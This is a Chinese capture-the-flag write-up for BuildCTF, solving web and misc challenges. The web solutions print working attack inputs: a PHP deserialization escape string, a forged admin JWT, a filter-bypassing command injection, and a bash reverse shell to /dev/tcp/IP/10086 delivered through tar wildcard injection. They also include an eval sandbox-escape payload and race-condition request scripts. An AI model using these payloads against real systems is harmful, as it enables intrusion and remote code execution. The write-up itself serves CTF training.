最后一次,真的
WEB
babyupload
传.htaccess和一个马就行
1 | GIF89a |
RedFlag
1 | import flask |
莫名奇妙的题,没啥意思
ez!http
自己背八股HTTP 标头 - HTTP | MDN
find-the-id
单纯考个爆破
ez_md5
输入ffifdyop,别问为什么
进入下一步
1 |
|
第一步通过get和post的优先级绕过。robots.txt中存在提示
1 | level2 |
盲猜3e41f780146b6c246cd49dd296a3da28是md5(114514xxxxxxx)的结果。爆破一下
LovePopChain
1 |
|
很简单的POP链,甚至有一个没有用上的魔术方法
exp
1 |
|
Why_so_serials?
字符串逃逸
1 |
|
O:6:"Gotham":3:{s:5:"Bruce";s:1:"a";s:5:"Wayne";s:1:"b";s:5:"crime";b:0;}
需要构造";s:5:"crime";b:1;s:8:"fffffilm";s:1:"b";}
一共42个字符。所以赛42个joker就行
1 | ?Bruce=jokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjoker";s:5:"crime";b:1;s:8:"fffffilm";s:1:"b";}&Wayne=bjoker |
tflock
robots.txt->/passwordList/password.txt拿到一个字典。但是尝试爆破发现刚爆破几个账号就说账号已锁定了。
但是后来我重开了一个环境又爆出来了。可能是锁定不影响登录,正好对应了题目说的真假锁定
sub
源码
1 | import datetime |
伪造一个jwt
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJmaWxtIiwicm9sZSI6ImFkbWluIn0.V2OFcoQK4x_TKg971t4Z6F6ZrBHByj86-OMv4uMYtdI
发现page路由下存在命令拼接漏洞
1 | try: |
我写的网站被rce了?
莫名奇妙的,没思路。
发现查看日志处存在过滤,fuzz后发现过滤了这些。
他这里的读取是拼接起来的,并且a?????也能读取到。怀疑是执行系统命令
因为是左右都有拼接,所以使用||来确保是中间的命令执行,
acc||nl$IFS/f???||a
加上一些简单的绕过。
Cookie_Factory
题目给了后端源码,是个node.js。我们可以忽略前端,自己写个js脚本和网站交互
源码
1 | const express = require('express') |
限制了每次加的分不大于十。
1 | if (json.power > 10) { |
和fake_signin有点像,感觉一个题出了另一个也能出。都是多线程下导致的问题。
直接拷打GPT写一个多线程发包的脚本就行
1 | const { Worker, isMainThread, parentPort } = require('worker_threads'); |
刮刮乐
题目源码(一开始没给,我rce看的
1 |
|
先刮一下图片,然后题目让传参,再改一下referer。就可以执行命令了。这里要加;来结束后面的>/dev/null 2>&1
.
eazyl0gin
关键逻辑
1 | router.post('/login',function(req,res,next){ |
b26230fafbc4b147ac48217291727c98的原值为012346
- 在Character.toUpperCase()函数中,字符ı会转变为I,字符ſ会变为S。
- 在Character.toLowerCase()函数中,字符İ会转变为i,字符K会转变为k。
所以我们让username=buıldctf
所以可以用buıldctf/012346
登录
fake_signin
1 | import time |
题目直接给了源码,我们审计一下。
要签到30天,登录可以签到一次,还需要补签29次。
1 | if request.method == 'POST': |
这里逻辑写死了,只能补签一次,也没找到什么逻辑漏洞。但是没有处理并发逻辑,如果一次发29个补签的包那么就可以一次补签29个
因为只能补签一次,没成功的话就得重开一个靶机了。
并且我尝试过后发现并不需要每天都签上,也能拿到flag,我发包的日期是1-29,而不是01-29也行。虽然显示是没签到但是仍然然有flag,可能是因为有的天签到了几次吗?反正本质原因是满足了len([d for d in signins.values() if d])>=30
这是成功签到的截图
打包给你
原题掌控安全CTF - 8月(WEB&AWD方向)_showdoc漏洞 ctf-CSDN博客
漏洞点在os.system(f"cd uploads/{g.uuid}/ && tar -cf out.tar *")
可以本地起个docker测试一下,用的时候记得连中括号一起替换,比如:echo ZmZmZmZpbG0=
1 | echo 'bash -c "bash -i >& /dev/tcp/IP/10086 0>&1"' | base64 |
下载之后就能弹到shell了
ez_waf
只有内容检测,过滤了”,’,#,;,=,<,>,,`
只剩?号了,感觉是UTF-7编码绕过。注意到是nginx的服务,所以用不了.htaccess
上网找了点wp看看,各种内容检测的方法尝试过后,发现用脏数据可以过waf
我生成了8000个字符过了,具体需要多少个可以自行测试。
1 | print('fffffilm'*1000) |
传上去之后疑似文件太大,执行不了,但phpinfo里面有flag我就没试了。
MISC
EZ_ZIP
图片分离得到压缩包。里面是一个嵌套压缩包,让GPT搓一个脚本
1 | import zipfile |
运行报错了,说RuntimeError: File <ZipInfo filename='flaggggggg.txt' compress_type=deflate filemode='-rw-rw-rw-' file_size=51 compress_size=53> is encrypted, password required for extraction
。但是没关系flaggggggg.zip我们已经拿到了
是一个伪加密,随波逐流修了就好了。
BuildCTF{Z1p_p@ck@g3s_@r3_@_v3ry_1n73r3s7ing_thing}
E2_?_21P
因为题目没给什么提示。除了这个:
什么??crc校验失败????
先爆破看看,没反应。尝试伪加密后,解压爆CRC错误了。自己建了一个压缩包来和题目给的压缩包结构进行对比。
尝试过后,改成这样成功打开
解出来是一个BF编码
1 | +++++ +++[- >++++ ++++< ]>++. <++++ +++[- >++++ +++<] >++.< +++[- >---< ]>--- .+++. ----- ---.< +++++ [->-- ---<] >---- ----. <++++ [->++ ++<]> +.<++ +[->- --<]> ----- .<+++ ++++[ ->+++ ++++< ]>+++ +.<++ +++++ [->-- ----- <]>-- ----. <++++ +[->+ ++++< ]>+++ +.<++ ++++[ ->--- ---<] >---- --.<+ ++[-> +++<] >+.<+ ++++[ ->+++ ++<]> +++++ .<+++ ++[-> ----- <]>-- -.<++ ++++[ ->+++ +++<] >++++ ++++. +++++ +++.< ++++[ ->--- -<]>- ----. <++++ [->++ ++<]> .<+++ ++++[ ->--- ----< ]>--- ----- ----- -.++. .<+++ ++++[ ->+++ ++++< ]>+++ +++.+ ++.-. <+++[ ->--- <]>-- ----. <++++ ++[-> ----- -<]>- ----- ----. ++++. <++++ ++[-> +++++ +<]>+ +++++ .<+++ +++[- >---- --<]> ----- ---.< +++[- >+++< ]>+++ ++.<+ ++[-> ---<] >---. <++++ ++[-> +++++ +<]>. <++++ ++[-> +++++ +<]>. < |
BuildCTF{Da7A_Cowbr355lon_15_3A5Y}
白白的真好看
拿到四个文件
Flag1:BuildCTF{Th3_wh1t3
Flag2:_wh1t3_y0u_s33
Flag3:_1s_n0t_wh1t3}
汉信码扫出来一个连接,用连接生成二维码,扫完拿到公众号异步社区
回复雪
用snowsnow作为密码拿到flag3,这里不能-C指定文件,不知道为什么
拼一下flag
BuildCTF{Th3_wh1t3_y0u_s33_1s_n0t_wh1t3}
有黑客!!!
CTF-neta秒了
如果再来一次,还会选择我吗?
将password.png用puzzlesolver逆序一下拿到原图
key:8!67adz6
修一下key.jpg
1 | import cv2 |
扫描拿到
拿到flag.txt,循环base64就好。用Cyberchef可能会有点卡,但是可以解出来
老色批
LSB
四妹?还是萍萍呢?
先拼图
拼好之后好像没有什么用,是一个公众号
四妹那张图里面010模板最后一个idat里面发现一个压缩包,删掉了504B的头。把压缩包提取出来
解压压缩包后,base64一下拿到png,但是png有点问题,丢随波逐流就好了
BuildCTF{PNG_@nd_H31Sh3nHu@}
一念愚即般若绝,一念智即般若生
阴阳怪气解码拿到s2j6dg@*
佛曰拿到下一步
天书解密
base58
Guesscoin
正确的概率挺大的,一直猜一个就完了。
什么?来玩玩心算吧
随便输入一点触发报错,发现是个eval函数。
那我可不客气了。有过滤,找了之前的一个payload直接通了。这参数是渔网杯的,换了下命令,属于是一题三吃了。
1 | root@dkhkY7buMr7kYt:~/tools/parselmouth\# python3 parselmouth.py --payload "__import__('os').popen('cat /flag').read()" --rule "__" "." "'" '"' "\\" "/" "*" "$" "#" "@" "!" "+" "^" "A" "B" "C" "D" "E" "F" "G" "H" "I" "J" "K" "L" "M" "N" "O" "P" "Q" "R" "S" "T" "U" "V" "W" "X" "Y" "Z" "a" "b" "c" "d" "e" "f" "g" "h" "i" "j" "k" "l" "m" "n" "o" "p" "q" "r" "s" "t" "u" "v" "w" "x" "y" "z" |
HEX的秘密
magic神力
FindYourWindows
用VC挂载FindYourWindows,用key文件作为密钥。
在M盘(M盘是我挂载的盘,可以随意选择),在M盘的桌面找到假的flag。用winhex打开磁盘,在回收站里面找到flag。从文件夹里面进回收站会到自己电脑里面的回收站,就找不到flag了。
what is this?
替换一下拿到flag
四妹,你听我解释
修复宽高后拿到
发现图片末尾是这样的。
搜索发现是Quoted-printable编码
然后社会主义核心价值观解码
食不食油饼
key:7gkjT!opo
拿到key.jpg和flag.zip
key.jpg存在盲水印(为什么我也不知道,把puzzleSolver功能随便试了几个就出了
这个作为密码拿到flag.txt
IJ2WS3DEINKEM62XMF2DG4SNMFZGWXZRONPVGMC7MVQVG6L5
Black&White
里面全是黑白块,并且是1089张图片,正好是平方数,猜测是33*33的二维码
让GPT写个脚本
1 | from PIL import Image |
3I8XEDHUCJTARQFOEDX7D+08AC80T8N08Y6948DF2C43C9B6Z2
base45
我太喜欢亢金星君了!
先用随波逐流分开来,然后发现一共有四种图片。每两张中间有一个黑色的。排除掉这个,其他的对应-.
试了前面几个,解出来的morse是B
让GPT写一个脚本
1 | import os |
-… ..- .. .-.. -.. -.-. - ..-. —-.– .– ….- .—- -.-. — – ….- ..–.- -. ….- .– ..–.- ..-. .—- … …. —–.-
BuildCTF{BUILDCTFW41COM4_N4W_F1SH}
别真给我开盒了哥
S3901,找一下沿途上的高铁线路,但是实际上那几条平行的都不对
因为那条高速并不是S3901,而是1km右拐到S3901,
思路如图
看一下霸州西车站地址
【车站地址】河北省廊坊市霸州市岔河集乡钱庄村北。
【邮政编码】065799
【区划代码】131081
【上下行车站】在津保铁路上,距天津西站72.6公里,距保定站88.8公里。
BuildCTF{津保铁路}